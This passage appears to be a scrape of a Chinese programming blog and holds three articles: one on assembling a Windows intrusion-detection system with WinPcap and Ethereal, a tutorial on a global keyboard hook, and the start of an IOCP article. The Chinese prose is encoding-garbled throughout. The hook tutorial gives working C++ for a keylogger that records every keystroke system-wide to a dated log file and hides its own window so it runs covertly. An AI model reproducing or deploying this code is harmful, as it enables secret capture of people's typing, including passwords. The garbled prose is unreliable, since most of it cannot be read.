銆銆浣滀負IDS鐨勫熀灞傜粍緇囷紝浜嬩歡浜х敓緋葷粺澶у彲鏂藉睍鎷寵剼錛屽畠鏀墮泦琚畾涔夌殑鎵鏈変簨浠訛紝鐒跺悗涓鑲¤剳鍦頒紶鍒板叾瀹冪粍浠墮噷銆傚湪Windows鐜涓嬶紝鐩墠姣旇緝鍩烘湰鐨勫仛娉曟槸浣跨敤Winpcap鍜學inDump銆?

銆銆澶у鐭ラ亾錛屽浜庝簨浠朵駭鐢熷拰浜嬩歡鍒嗘瀽緋葷粺鏉ヨ錛岀溂涓嬫祦琛岄噰鐢↙inux鍜孶nix騫沖彴鐨勮蔣浠跺拰紼嬪簭錛涘叾瀹炲湪Windows騫沖彴涓紝涔熸湁綾諱技Libpcap錛堟槸Unix鎴朙inux浠庡唴鏍告崟鑾風綉緇滄暟鎹寘鐨勫繀澶囪蔣浠訛級鐨勫伐鍏峰嵆Winpcap銆?

銆銆Winpcap鏄竴濂楀厤璐圭殑錛?鍩轟簬Windows鐨勭綉緇滄帴鍙PI錛屾妸緗戝崱璁劇疆涓?#8220;娣鋒潅”妯″紡錛岀劧鍚庡驚鐜鐞嗙綉緇滄崟鑾風殑鏁版嵁鍖呫傚叾鎶鏈疄鐜扮畝鍗曪紝鍙Щ妞嶆у己錛屼笌緗戝崱鏃犲叧錛屼絾鏁堢巼涓嶉珮錛岄傚悎鍦?00 Mbps浠ヤ笅鐨勭綉緇?

銆銆鐩稿簲鐨勫熀浜嶹indows鐨勭綉緇滃梾鎺㈠伐鍏鋒槸WinDump錛堟槸Linux/Unix騫沖彴鐨凾cpdump鍦╓indows涓婄殑縐繪鐗堬級錛岃繖涓蔣浠跺繀欏誨熀浜嶹inpcap鎺ュ彛錛堣繖閲屾湁浜哄艦璞″湴縐癢inpcap涓猴細鏁版嵁鍡呮帰椹卞姩紼嬪簭錛夈備嬌鐢╓inDump錛屽畠鑳芥妸鍖歸厤瑙勫垯鐨勬暟鎹寘鐨勫寘澶寸粰鏄劇ず鍑烘潵銆備綘鑳戒嬌鐢ㄨ繖涓伐鍏峰幓鏌ユ壘緗戠粶闂鎴栬呭幓鐩戣緗戠粶涓婄殑鐘跺喌錛屽彲浠ュ湪涓瀹氱▼搴︿笂鏈夋晥鐩戞帶鏉ヨ嚜緗戠粶涓婄殑瀹夊叏鍜屼笉瀹夊叏鐨勮涓恒?

銆銆榪欎袱涓蔣浠跺湪緗戜笂閮藉彲浠ュ厤璐瑰湴鎵懼埌錛岃鑰呰繕鍙互鏌ョ湅鐩稿叧杞歡浣跨敤鏁欑▼銆?

銆銆涓嬮潰澶х暐浠嬬粛涓涓嬪緩绔嬩簨浠舵帰嫻嬪強閲囬泦鐨勬楠?

銆銆1銆佽閰嶈蔣浠跺拰紜歡緋葷粺銆傛牴鎹綉緇滅箒蹇欑▼搴﹀喅瀹氭槸鍚﹂噰鐢ㄦ櫘閫氬吋瀹規(guī)満鎴栨ц兘杈冮珮鐨勪笓鐢ㄦ湇鍔″櫒錛涘畨瑁匩T鏍稿績鐨刉indows鎿嶄綔緋葷粺錛屾帹鑽愪嬌鐢?nobr>Windows Server 2003浼佷笟鐗堬紝濡傛灉鏉′歡涓嶆弧瓚充篃鍙嬌鐢╓indows 2000 Advanced Server銆傚垎鍖烘牸寮忓緩璁負NTFS鏍煎紡銆?

銆銆2銆佹湇鍔″櫒鐨勭┖闂村垝鍒嗚鍚堢悊鏈夋晥錛屾墽琛岀▼搴忕殑瀹夎銆佹暟鎹棩蹇楃殑瀛樺偍錛屼袱鑰呯┖闂存渶濂藉垎鍒斁緗湪涓嶅悓鍒嗗尯銆?

銆銆3銆乄inpcap鐨勭畝鍗曞疄鐜般傞鍏堝畨瑁呭畠鐨勯┍鍔ㄧ▼搴忥紝鍙互鍒板畠鐨勪富欏墊垨闀滃儚绔欑偣涓嬭澆WinPcap auto-installer (Driver+DLLs)錛岀洿鎺ュ畨瑁呫?

銆銆娉細濡傛灉鐢╓inpcap鍋氬紑鍙戯紝榪橀渶瑕佷笅杞?Developer錛噑 pack銆?

銆銆WinPcap 鍖呮嫭涓変釜妯″潡錛氱涓涓ā鍧桸PF錛圢etgroup Packet Filter錛夛紝鏄竴涓猇xD錛堣櫄鎷熻澶囬┍鍔ㄧ▼搴忥級鏂囦歡銆傚叾鍔熻兘鏄繃婊ゆ暟鎹寘錛屽茍鎶婅繖浜涘寘瀹屽ソ鏃犳崯鍦頒紶緇欑敤鎴鋒佹ā鍧椼傜浜屼釜妯″潡packet.dll涓篧in32騫沖彴鎻愪緵浜嗕竴涓叕鍏辨帴鍙o紝鏋舵瀯鍦╬acket.dll涔嬩笂錛屾彁渚涗簡鏇存柟渚褲佹洿鐩存帴鐨勭紪紼嬫柟娉曘傜涓変釜妯″潡 Wpcap.dll涓嶄緷璧栦簬浠諱綍鎿嶄綔緋葷粺錛屾槸搴曞眰鐨勫姩鎬侀摼鎺ュ簱錛屾彁渚涗簡楂樺眰銆佹娊璞$殑鍑芥暟銆傚叿浣撲嬌鐢ㄨ鏄庡湪鍚勫ぇ緗戠珯涓婇兘鏈夋秹鍙婏紝濡備綍鏇村ソ鍒╃敤Winpcap闇瑕佽緝寮虹殑C鐜緙栫▼鑳藉姏銆?

銆銆4銆乄inDump鐨勫垱寤恒傚畨瑁呭悗錛屽湪Windows鍛戒護鎻愮ず絎︽ā寮忎笅榪愯錛岀敤鎴瘋嚜宸卞彲浠ユ煡鐪嬬綉緇滅姸鎬侊紝鎭曚笉璧樿堪銆?

銆銆濡傛灉娌℃湁杞歡鍏煎鎬ч棶棰樸佸畨瑁呭拰閰嶇疆姝g‘鐨勮瘽錛屼簨浠舵帰嫻嬪強閲囬泦宸茶兘瀹炵幇銆?/p>

銆銆浜嬩歡鍒嗘瀽緋葷粺
銆銆鐢變簬鎴戜滑鐨勭綉緇滃ぇ閮界敤浜ゆ崲寮忎互澶綉浜ゆ崲鏈鴻繛鎺ワ紝鎵浠ュ緩绔嬩簨浠跺垎鏋愮郴緇熺殑鐩殑鏄疄鐜板澶氱緗戠粶闃茬伀澧欒澶囩殑鎺㈡祴錛屼互鍙婂縐嶉噰闆嗘柟寮忥紙濡傚熀浜嶴nmp銆丼yslog鏁版嵁淇℃伅鐨勯噰闆嗭級鏃ュ織鐨勬敮鎸侊紝騫舵彁渚涗竴瀹氱殑浜嬩歡鏃ュ織澶勭悊錛岀粺璁°佸垎鏋愬拰鏌ヨ鍔熻兘銆?

銆銆浜嬩歡鍒嗘瀽緋葷粺鏄疘DS鐨勬牳蹇冩ā鍧楋紝涓昏鍔熻兘鏄鍚勭浜嬩歡榪涜鍒嗘瀽錛屼粠涓彂鐜拌繚鍙嶅畨鍏ㄧ瓥鐣ョ殑琛屼負錛屽浣曞緩绔嬫槸閲嶇偣涔熸槸闅劇偣銆傚鏋滆嚜宸辮兘鎴栦笌浜哄悎浣滅紪鍐欒蔣浠剁郴緇燂紝灝遍渶瑕佸仛濂戒弗璋ㄧ殑鍓嶆湡寮鍙戝噯澶囷紝濡傚緗戠粶鍗忚銆侀粦瀹㈡敾鍑匯佺郴緇熸紡媧炴湁鐫姣旇緝娓呮櫚鐨勮璇嗭紝鎺ョ潃寮濮嬪埗瀹氳鍒欏拰絳栫暐錛屽畠搴旇鍩轟簬鏍囧噯鐨勬妧鏈爣鍑嗗拰瑙勮寖錛岀劧鍚庝紭鍖栫畻娉曚互鎻愰珮鎵ц鏁堢巼錛屽緩绔嬫嫻嬫ā鍨嬶紝鍙互妯℃嫙榪涜鏀誨嚮鍙婂垎鏋愯繃紼嬨?

銆銆浜嬩歡鍒嗘瀽緋葷粺鎶婃嫻嬪紩鎿庨┗鐣欏湪鐩戣緗戞涓紝涓鑸氳繃涓夌鎶鏈墜孌佃繘琛屽垎鏋愶細妯″紡鍖歸厤銆佸崗璁垎鏋愬拰琛屼負鍒嗘瀽銆傚綋媯嫻嬪埌鏌愮璇敤妯″紡鏃訛紝浜х敓瀵瑰簲鐨勮鍛婁俊鎭茍鍙戦佺粰鍝嶅簲緋葷粺銆傜洰鍓嶆潵鐪嬶紝浣跨敤鍗忚鍒嗘瀽鏄疄鏃舵嫻嬬殑鏈濂芥柟寮忋?

銆銆榪欎釜緋葷粺涓縐嶅彲鑳界殑鏂瑰紡鏄敱鍗忚鍒嗘瀽鍣ㄤ綔涓轟富浣擄紝鍙互鍦ㄧ幇鎴愮殑銆佸紑鏀懼紡鐨勫崗璁垎鏋愬伐鍏峰寘鍩虹涓婃潵鏋勫緩錛涘崗璁垎鏋愬櫒鍙互鏄劇ず鍒嗙粍綰х綉緇滀紶杈撴祦錛屽熀浜庣綉緇滃崗璁鍒欑殑璀﹀憡榪涜鑷姩鍒嗘瀽鏉ュ揩閫熸帰嫻嬫敾鍑葷殑瀛樺湪錛涚敱姝わ紝緗戠粶紼嬪簭鍛樺拰綆$悊鍛樺彲鐩戞帶騫跺垎鏋愮綉緇滄椿鍔紝浠庤屼富鍔ㄦ嫻嬪茍瀹氫綅鏁呴殰銆傜敤鎴峰彲浠ュ皾璇曚竴涓嬩竴涓彨Ethereal鐨勫厤璐圭綉緇滃崗璁垎鏋愬櫒錛屽畠鏀寔Windows緋葷粺銆傜敤鎴峰彲浠ュ鐢變簨浠朵駭鐢熺郴緇熸姄鍙栧悗淇濆瓨鍦ㄧ‖鐩樹笂鐨勬暟鎹繘琛屽垎鏋愩備綘鑳戒氦浜掑紡鍦版祻瑙堟姄鍙栧埌鐨勬暟鎹寘錛屾煡鐪嬫瘡涓涓暟鎹寘鐨勬憳瑕佸拰璇︾粏淇℃伅銆侲thereal鏈夊縐嶅己澶х殑鐗瑰緛錛屽鏀寔鍑犱箮鎵鏈夌殑鍗忚銆佷赴瀵岀殑榪囨護璇█銆佹槗浜庢煡鐪婽CP浼氳瘽緇忛噸鏋勫悗鐨勬暟鎹祦絳夈?

銆銆鍝嶅簲緋葷粺

銆銆鍝嶅簲緋葷粺鏄潰鍚戜漢銆佺墿鐨勪氦浜掔郴緇燂紝鍙互璇存槸鏁翠釜緋葷粺鐨勪腑杞珯鍜屽崗璋冪珯銆備漢鍗蟲槸緋葷粺綆$悊鍛樸佺墿鏄叾浠栨墍鏈夌粍浠躲傝緇嗚鏉ワ紝鍝嶅簲緋葷粺榪欎釜鍗忚皟鍛樿鍋氱殑浜嬪緢澶氾細鎸夌収棰勭疆瀹氫箟鐨勬柟寮忥紝璁板綍瀹夊叏浜嬩歡銆佷駭鐢熸姤璀︿俊鎭紙濡侲-mail褰㈠紡錛夈佽褰曢檮鍔犳棩蹇椼侀殧紱誨叆渚佃呫佺粓姝㈣繘紼嬨佺姝㈠彈瀹寵呯殑绔彛鍜屾湇鍔°佺敋鑷沖弽鎴堜竴鍑伙紱鍙互閲囧彇浜哄伐鍝嶅簲鍜岃嚜鍔ㄥ搷搴旓紙鍩轟簬鏈哄櫒鐨勫搷搴旓級錛屼袱鑰呯粨鍚堣搗鏉ヤ細姣旇緝濂姐?

銆銆鍝嶅簲緋葷粺鐨勮璁¤绱?

銆銆(1) 鎺ュ彈鑷簨浠朵駭鐢熺郴緇熺粡浜嬩歡鍒嗘瀽緋葷粺榪囨護銆佸垎鏋愩侀噸寤哄悗鐨勪簨浠惰鎶ヤ俊鎭紝鐒跺悗浜や簰緇欑敤鎴鳳紙綆$悊鍛橈級鏌ヨ騫跺仛鍑鴻鍒欏垽鏂拰閲囧彇綆$悊琛屼負銆?

銆銆(2) 緇欑鐞嗗憳鎻愪緵綆$悊浜嬩歡鏁版嵁搴?/nobr>緋葷粺鐨勪竴涓帴鍙o紝鍙互淇敼瑙勫垯搴撱佹牴鎹笉鍚岀綉緇滅幆澧冩儏鍐甸厤緗畨鍏ㄧ瓥鐣ャ佽鍐欐暟鎹簱緋葷粺銆?

銆銆(3)浣滅敤浜庡墠绔郴緇熸椂錛屽彲綆$悊浜嬩歡浜х敓銆佸垎鏋愮郴緇燂紙鍚堢О浜嬩歡鎺㈡祴鍣級錛屽璇ョ郴緇熼噰闆嗐佹帰嫻嬨佸垎鏋愮殑浜嬩歡榪涜鍒嗙被銆佺瓫閫夛紝鍙拡瀵逛笉鍚屽畨鍏ㄧ姸鍐碉紝閲嶆柊瀵瑰畨鍏ㄨ鍒欒繘琛屾礂鐗屻?

銆銆鍝嶅簲緋葷粺鍜屼簨浠舵帰嫻嬪櫒閫氬父鏄互搴旂敤紼嬪簭鐨勫艦寮忓疄鐜般?

銆銆璁捐鎬濊礬錛氬搷搴旂郴緇熷彲鍒嗕負涓や釜紼嬪簭閮ㄥ垎錛岀洃鍚拰鎺у埗銆?鐩戝惉閮ㄥ垎緇戝畾鏌愪釜絀洪棽绔彛錛屾帴鏀朵粠浜嬩歡鎺㈡祴鍣ㄥ彂鍑虹殑鍒嗘瀽緇撴灉鍜屽叾浠栦俊鎭紝騫惰漿鍖栧瓨鍌ㄦ枃浠跺埌浜嬩歡鏁版嵁搴撶郴緇熶腑錛屼綔涓虹鐞嗗憳鍙牴鎹敤鎴鋒潈闄愯皟鐢ㄦ潵鍙銆佷慨鏀逛互鍙婄壒鍒殑鎿嶄綔銆傛帶鍒墮儴鍒嗗彲鐢℅TK錛嬫潵緙栧啓GUI錛屽紑鍙戝嚭杈冧負鐩磋鐨勫浘褰㈢敤鎴風晫闈紝鐩殑涓昏鏄粰鐢ㄦ埛涓涓洿鏂逛究鍙嬪ソ鐨勭晫闈㈡潵嫻忚璀﹀憡淇℃伅銆?

銆銆浜嬩歡鏁版嵁搴撶郴緇?

銆銆鍦╓indows騫沖彴涓嬶紝铏界劧Access鏇存槗鎺屾彙錛屼絾閲囩敤SQL Server 2000鏋勫緩浼氭瘮Access鏈夋晥錛岃屼笖騫朵笉鏄緢闅懼叆鎵嬶紝姝ょ郴緇熶富瑕佸姛鑳斤細璁板綍銆佸瓨鍌ㄣ侀噸鎺掍簨浠朵俊鎭紝鍙緵綆$悊鍛樿皟鐢ㄦ煡鐪嬪拰瀵規(guī)敾鍑誨鏌ュ彇璇佷嬌鐢ㄣ?

銆銆姝ょ郴緇熸瀯閫犵浉瀵圭畝鍗曪紝鍙渶鍒╃敤鍒版暟鎹簱杞歡鐨勪竴浜涘熀鏈姛鑳姐?

銆銆瑕佸崗璋冨悇緇勪歡涔嬮棿鐨勬湁鐩殑閫氫俊錛屽悇緇勪歡灝卞繀欏昏兘姝g‘鐞嗚В鐩鎬簰涔嬮棿浼犻掔殑鍚勭鏁版嵁鐨勮涔夈傚彲鍙傝僀IDF鐨勯氫俊鏈哄埗錛屾瀯寤?灞傛ā鍨嬨傛敞鎰忓悇涓粍浠朵箣闂寸殑浜掓搷浣滄э紝淇濊瘉瀹夊叏銆侀珮鏁堛侀『鐣呫?

銆銆鏁村悎鍦ㄥ悗緇殑宸ヤ綔涓細涓嶆柇榪涜錛屽悇涓粍浠剁殑鍔熻兘涔熶細涓嶆柇瀹屽杽銆備竴涓熀鏈殑銆佸熀浜嶹indows騫沖彴鐨処DS妗嗘灦灝辨瀯寤哄畬姣曘傛弧瓚崇綉緇滄潯浠剁殑璇濓紝璇曡瘯浜叉墜鍋氬仛鑷繁鐨勫ザ閰惂錛屾湁涓縐嶄笉鍙悕鐘剁殑鍔充綔鍚庣殑鐢滆湝銆?/p>

]]>
鐢ㄩ敭鐩橀挬瀛愬湪Windows騫沖彴鎹曡幏閿洏鍔ㄤ綔http://m.shnenglu.com/twzheng/articles/25536.html璋枃鏀?/dc:creator>璋枃鏀?/author>Mon, 04 Jun 2007 16:29:00 GMThttp://m.shnenglu.com/twzheng/articles/25536.htmlhttp://m.shnenglu.com/twzheng/comments/25536.htmlhttp://m.shnenglu.com/twzheng/articles/25536.html#Feedback0http://m.shnenglu.com/twzheng/comments/commentRss/25536.htmlhttp://m.shnenglu.com/twzheng/services/trackbacks/25536.html鐢ㄩ敭鐩橀挬瀛愬湪Windows騫沖彴鎹曡幏閿洏鍔ㄤ綔
鎽樿嚜錛氬ソ鏄撴暀紼嬬綉
淇℃伅浜т笟閮ㄧ數(shù)瀛愮浜屽崄浜岀爺絀舵墍闈掑矝鍒嗘墍 閮庨攼

涓銆佸紩璦
鎴戜滑鍙互鍦ㄥ簲鐢ㄧ▼搴忎腑姣笉璐瑰姏鐨勬崟鑾峰湪鏈▼搴忕獥鍙d笂鎵榪涜鐨勯敭鐩樻搷浣滐紝浣嗗鏋滄垜浠兂瑕佸皢姝ょ▼搴忎綔鎴愪竴涓洃鎺х▼搴忥紝鎹曡幏鍦╓indows騫沖彴涓嬩換鎰忕獥鍙d笂鐨勯敭鐩樻搷浣滐紝灝遍渶瑕佸熷姪浜庡叏灞閽╁瓙鏉ュ疄鐜頒簡銆?
浜屻佺郴緇熼挬瀛愬拰DLL
閽╁瓙鐨勬湰璐ㄦ槸涓孌電敤浠ュ鐞嗙郴緇熸秷鎭殑紼嬪簭錛岄氳繃緋葷粺璋冪敤錛屽皢鍏舵寕鍏ョ郴緇熴傞挬瀛愮殑縐嶇被鏈夊緢澶氾紝姣忕閽╁瓙鍙互鎴幏騫跺鐞嗙浉搴旂殑娑堟伅錛屾瘡褰撶壒瀹氱殑娑堟伅鍙戝嚭錛屽湪鍒拌揪鐩殑紿楀彛涔嬪墠錛岄挬瀛愮▼搴忓厛琛屾埅鑾瘋娑堟伅銆佸緱鍒板姝ゆ秷鎭殑鎺у埗鏉冦傛鏃跺湪閽╁瓙鍑芥暟涓氨鍙互瀵規(guī)埅鑾風殑娑堟伅榪涜鍔犲伐澶勭悊錛岀敋鑷沖彲浠ュ己鍒剁粨鏉熸秷鎭殑浼犻掋?
鍦ㄦ湰紼嬪簭涓垜浠渶瑕佹崟鑾峰湪浠繪剰紿楀彛涓婄殑閿洏杈撳叆錛岃繖灝遍渶瑕侀噰鐢ㄥ叏灞閽╁瓙浠ヤ究鎷︽埅鏁翠釜緋葷粺鐨勬秷鎭紝鑰屽叏灞閽╁瓙鍑芥暟蹇呴』浠LL錛堝姩鎬佽繛鎺ュ簱錛変負杞戒綋榪涜灝佽錛孷C6涓湁涓夌褰㈠紡鐨凪FC DLL鍙緵閫夋嫨錛屽嵆Regular statically linked to MFC DLL錛堟爣鍑嗛潤鎬侀摼鎺FC DLL錛夈丷egular using the shared MFC DLL錛堟爣鍑嗗姩鎬侀摼鎺FC DLL錛変互鍙奅xtension MFC DLL錛堟墿灞昅FC DLL錛夈?鍦ㄦ湰紼嬪簭涓負鏂逛究璧瘋閲囩敤浜嗘爣鍑嗛潤鎬佽繛鎺FC DLL銆?
涓夈侀敭鐩橀挬瀛愮▼搴忕ず渚?
鏈ず渚嬬▼搴忕敤鍒板叏灞閽╁瓙鍑芥暟錛岀▼搴忓垎涓ら儴鍒嗭細鍙墽琛岀▼搴廗eyHook鍜屽姩鎬佽繛鎺ュ簱LaunchDLL銆?
1銆侀鍏堢紪鍒禡FC鎵╁睍鍔ㄦ佽繛鎺ュ簱LaunchDLL.dll:
錛?錛夐夋嫨MFC AppWizard(DLL)鍒涘緩欏圭洰LaunchDLL錛涘湪鎺ヤ笅鏉ョ殑閫夐」涓夋嫨Regular statically linked to MFC DLL錛堟爣鍑嗛潤鎬侀摼鎺FC DLL錛夈?
錛?錛夊湪LaunchDLL.h涓坊鍔犲畯瀹氫箟鍜屽緟瀵煎嚭鍑芥暟鐨勫0鏄庯細
#define DllExport __declspec(dllexport)
……
DllExport void WINAPI InstallLaunchEv();
……
class CLaunchDLLApp : public CWinApp
{
public:
CLaunchDLLApp();
顥?
//{{AFX_VIRTUAL(CLaunchDLLApp)
//}}AFX_VIRTUAL
顥?
//{{AFX_MSG(CLaunchDLLApp)
// NOTE - the ClassWizard will add and remove member functions here.
// DO NOT EDIT what you see in these blocks of generated code !
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
};
錛?錛夊湪LaunchDLL.cpp涓坊鍔犲叏灞鍙橀噺Hook鍜屽叏灞鍑芥暟LauncherHook銆丼aveLog錛?
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam);
void SaveLog(char* c);
錛?錛夊畬鎴愪互涓婃彁鍒扮殑榪欏嚑涓嚱鏁扮殑瀹炵幇閮ㄥ垎錛?
……
CLaunchDLLApp theApp;
……
DllExport void WINAPI InstallLaunchEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)LauncherHook,
theApp.m_hInstance,
0);
}
鍦ㄦ鎴戜滑瀹炵幇浜哤indows鐨勭郴緇熼挬瀛愮殑瀹夎錛岄鍏堣璋冪敤SDK涓殑API鍑芥暟SetWindowsHookEx鏉ュ畨瑁呰繖涓挬瀛愬嚱鏁幫紝鍏跺師鍨嬫槸錛?
HHOOK SetWindowsHookEx(int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId);
鍏朵腑錛岀涓涓弬鏁版寚瀹氶挬瀛愮殑綾誨瀷錛屽父鐢ㄧ殑鏈塛H_MOUSE銆乄H_KEYBOARD銆乄H_GETMESSAGE絳夛紝鍦ㄦ鎴戜滑鍙叧蹇冮敭鐩樻搷浣滄墍浠ヨ瀹氫負WH_KEYBOARD錛涚浜屼釜鍙傛暟鏍囪瘑閽╁瓙鍑芥暟鐨勫叆鍙e湴鍧錛屽綋閽╁瓙閽╁埌浠諱綍娑堟伅鍚庝究璋冪敤榪欎釜鍑芥暟,鍗沖綋涓嶇緋葷粺鐨勫摢涓獥鍙f湁閿洏杈撳叆椹笂浼氬紩璧稬auncherHook鐨勫姩浣滐紱絎笁涓弬鏁版槸閽╁瓙鍑芥暟鎵鍦ㄦā鍧楃殑鍙ユ焺錛屾垜浠彲浠ュ緢綆鍗曠殑璁懼畾鍏朵負鏈簲鐢ㄧ▼搴忕殑瀹炰緥鍙ユ焺錛涙渶鍚庝竴涓弬鏁版槸閽╁瓙鐩稿叧鍑芥暟鐨処D鐢ㄤ互鎸囧畾鎯寵閽╁瓙鍘婚挬鍝釜綰跨▼錛屼負0鏃跺垯鎷︽埅鏁翠釜緋葷粺鐨勬秷鎭紝鍦ㄦ湰紼嬪簭涓挬瀛愰渶瑕佷負鍏ㄥ眬閽╁瓙錛屾晠璁懼畾涓?銆?
……
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}
铏界劧璋冪敤CallNextHookEx()鏄彲閫夌殑錛屼絾璋冪敤姝ゅ嚱鏁扮殑涔犳儻鏄緢鍊煎緱鎺ㄨ崘鐨勶紱鍚﹀垯鐨勮瘽錛屽叾浠栧畨瑁呬簡閽╁瓙鐨勫簲鐢ㄧ▼搴忓皢涓嶄細鎺ユ敹鍒伴挬瀛愮殑閫氱煡鑰屼笖榪樻湁鍙兘浜х敓涓嶆紜殑緇撴灉錛屾墍浠ユ垜浠簲灝介噺璋冪敤璇ュ嚱鏁伴櫎闈炵粷瀵歸渶瑕侀樆姝㈠叾浠栫▼搴忚幏鍙栭氱煡銆?
……
void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
褰撴湁閿脊璧風殑鏃跺欏氨閫氳繃姝ゅ嚱鏁板皢鍒氬脊璧風殑閿繚瀛樺埌璁板綍鏂囦歡涓粠鑰屽疄鐜板閿洏榪涜鐩戞帶璁板綍鐨勭洰鐨勩?
緙栬瘧瀹屾垚渚垮彲寰楀埌榪愯鏃舵墍闇鐨勯敭鐩橀挬瀛愮殑鍔ㄦ佽繛鎺ュ簱LaunchDLL.dll鍜岃繘琛岄潤鎬侀摼鎺ユ椂鐢ㄥ埌鐨凩aunchDLL.lib銆?
2銆佷笅闈㈠紑濮嬬紪鍐欒皟鐢ㄦ鍔ㄦ佽繛鎺ュ簱鐨勪富紼嬪簭錛屽茍瀹炵幇鏈鍚庣殑闆嗘垚錛?
錛?錛夌敤MFC鐨凙ppWizard(EXE)鍒涘緩欏圭洰KeyHook錛?
錛?錛夐夋嫨鍗曟枃妗o紝鍏朵綑鍑犳鍙潎涓虹‘鐪侊紱
錛?錛夋妸LaunchDLL.h鍜孡aunchDLL.lib澶嶅埗鍒癒eyHook宸ョ▼鐩綍涓紝LaunchDLL.dll澶嶅埗鍒癉ebug鐩綍涓嬨?
錛?錛夐摼鎺LL搴擄紝鍗沖湪"Project","Settings…"鐨?Link"灞炴ч〉鍐咃紝鍦?Object/librarymodules:"涓~鍏?LaunchDLL.lib"銆傚啀閫氳繃"Project"錛?Add To Project","Files…"灝哃aunchDLL.h娣誨姞鍒板伐紼嬩腑鏉ワ紝鏈鍚庡湪瑙嗙被鐨勬簮鏂囦歡KeyHook.cpp涓姞鍏ュ鍏剁殑寮曠敤錛?
#include "LaunchDLL.h"
榪欐牱鎴戜滑灝卞彲浠ヨ薄浣跨敤鏈伐紼嬪唴鐨?鍑芥暟涓鏍蜂嬌鐢ㄥ姩鎬佽繛鎺ュ簱LaunchDLL.dll涓殑鎵鏈夊鍑哄嚱鏁頒簡銆?
錛?錛夊湪瑙嗙被涓坊鍔犺櫄鍑芥暟OnInitialUpdate()錛屽茍娣誨姞浠g爜瀹屾垚瀵歸敭鐩橀挬瀛愮殑瀹夎錛?
……
InstallLaunchEv();
……
錛?錛夊埌姝や負姝㈠叾瀹炲凡緇忓畬鎴愪簡鎵鏈夌殑鍔熻兘錛屼絾浣滀負涓涓悗鍙扮洃鎺ц蔣浠訛紝榪愯鏃跺茍涓嶅笇鏈涙湁鐣岄潰錛屽彲浠ュ湪搴旂敤紼嬪簭綾籆keyHookApp鐨処nitInstance()鍑芥暟涓皢m_pMainWnd->ShowWindow(SW_SHOW);鏀逛負m_pMainWnd->ShowWindow(SW_HIDE);鍗沖彲銆?
鍥涖佽繍琛屼笌媯嫻?
緙栬瘧榪愯紼嬪簭錛岃繍琛岃搗鏉ヤ箣鍚庡茍鏃犱粈涔堢幇璞★紝浣嗛氳繃Alt+Ctrl+Del鍦ㄥ叧闂▼搴忓璇濇鍐呭彲浠ユ壘鍒版垜浠垰緙栧啓瀹屾瘯鐨勭▼搴?KeyHook",闅忎究鍦ㄤ粈涔堢▼搴忎腑閫氳繃閿洏杈撳叆瀛楃錛岀劧鍚庢墦寮璁板綍鏂囦歡錛屾垜浠細鍙戠幇錛氶氳繃閿洏閽╁瓙錛屾垜浠垰鎵嶈緭鍏ョ殑瀛楃閮借璁板綍鍒拌褰曟枃浠朵腑浜嗐?
灝忕粨錛氱郴緇熼挬瀛愬叿鏈夌浉褰撳己澶х殑鍔熻兘錛岄氳繃榪欑鎶鏈彲浠ュ鍑犱箮鎵鏈夌殑Windows緋葷粺娑堟伅榪涜鎷︽埅銆佺洃瑙嗐佸鐞嗐傝繖縐嶆妧鏈箍娉涘簲鐢ㄤ簬鍚勭鑷姩鐩戞帶緋葷粺涓?br>

]]>
瀹屾垚绔彛涓殑鍗曞彞鏌勬暟鎹粨鏋勪笌鍗旾O鏁版嵁緇撴瀯鐨勭悊瑙d笌璁捐http://m.shnenglu.com/twzheng/articles/25359.html璋枃鏀?/dc:creator>璋枃鏀?/author>Sat, 02 Jun 2007 15:19:00 GMThttp://m.shnenglu.com/twzheng/articles/25359.htmlhttp://m.shnenglu.com/twzheng/comments/25359.htmlhttp://m.shnenglu.com/twzheng/articles/25359.html#Feedback0http://m.shnenglu.com/twzheng/comments/commentRss/25359.htmlhttp://m.shnenglu.com/twzheng/services/trackbacks/25359.html瀹屾垚绔彛涓殑鍗曞彞鏌勬暟鎹粨鏋勪笌鍗旾O鏁版嵁緇撴瀯鐨勭悊瑙d笌璁捐

鏈枃浣滆咃細sodme
鏈枃鍑哄錛?font style="COLOR: #000000" color=#0000ff>http://blog.csdn.net/sodme
澹版槑錛氭湰鏂囧彲浠ヤ笉緇忎綔鑰呭悓鎰忎換鎰忚漿杞姐佸鍒躲佷紶鎾紝浣嗕換浣曞鏈枃鐨勫紩鐢ㄥ潎欏諱繚鐣欐湰鏂囩殑浣滆呫佸嚭澶勫強鏈澹版槑淇℃伅錛佽阿璋紒

銆銆瀹屾垚绔彛妯″瀷錛岄拡瀵逛簬WIN騫沖彴鐨勫叾瀹冨紓姝ョ綉緇滄ā鍨嬭岃█錛屾渶澶х殑濂藉錛岄櫎浜嗘ц兘鏂歸潰鐨勫崜瓚婂錛岃繕鍦ㄤ簬瀹屾垚绔彛鍦ㄤ紶閫掔綉緇滀簨浠剁殑閫氱煡鏃訛紝鍙互涓騫朵紶閫掍笌姝や簨浠剁浉鍏崇殑搴旂敤灞傛暟鎹傝繖涓簲鐢ㄥ眰鏁版嵁錛屼綋鐜板湪涓や釜鏂歸潰錛氫竴鏄崟鍙ユ焺鏁版嵁錛屼簩鏄崟IO鏁版嵁銆?br>
銆銆GetQueuedCompletionStatus鍑芥暟鐨勫師鍨嬪涓嬶細
銆銆WINBASEAPI
銆銆BOOL
銆銆WINAPI
銆銆GetQueuedCompletionStatus(
    銆銆IN  HANDLE CompletionPort,
   銆銆 OUT LPDWORD lpNumberOfBytesTransferred,
    銆銆OUT PULONG_PTR lpCompletionKey,
    銆銆OUT LPOVERLAPPED *lpOverlapped,
    銆銆IN  DWORD dwMilliseconds
    銆);
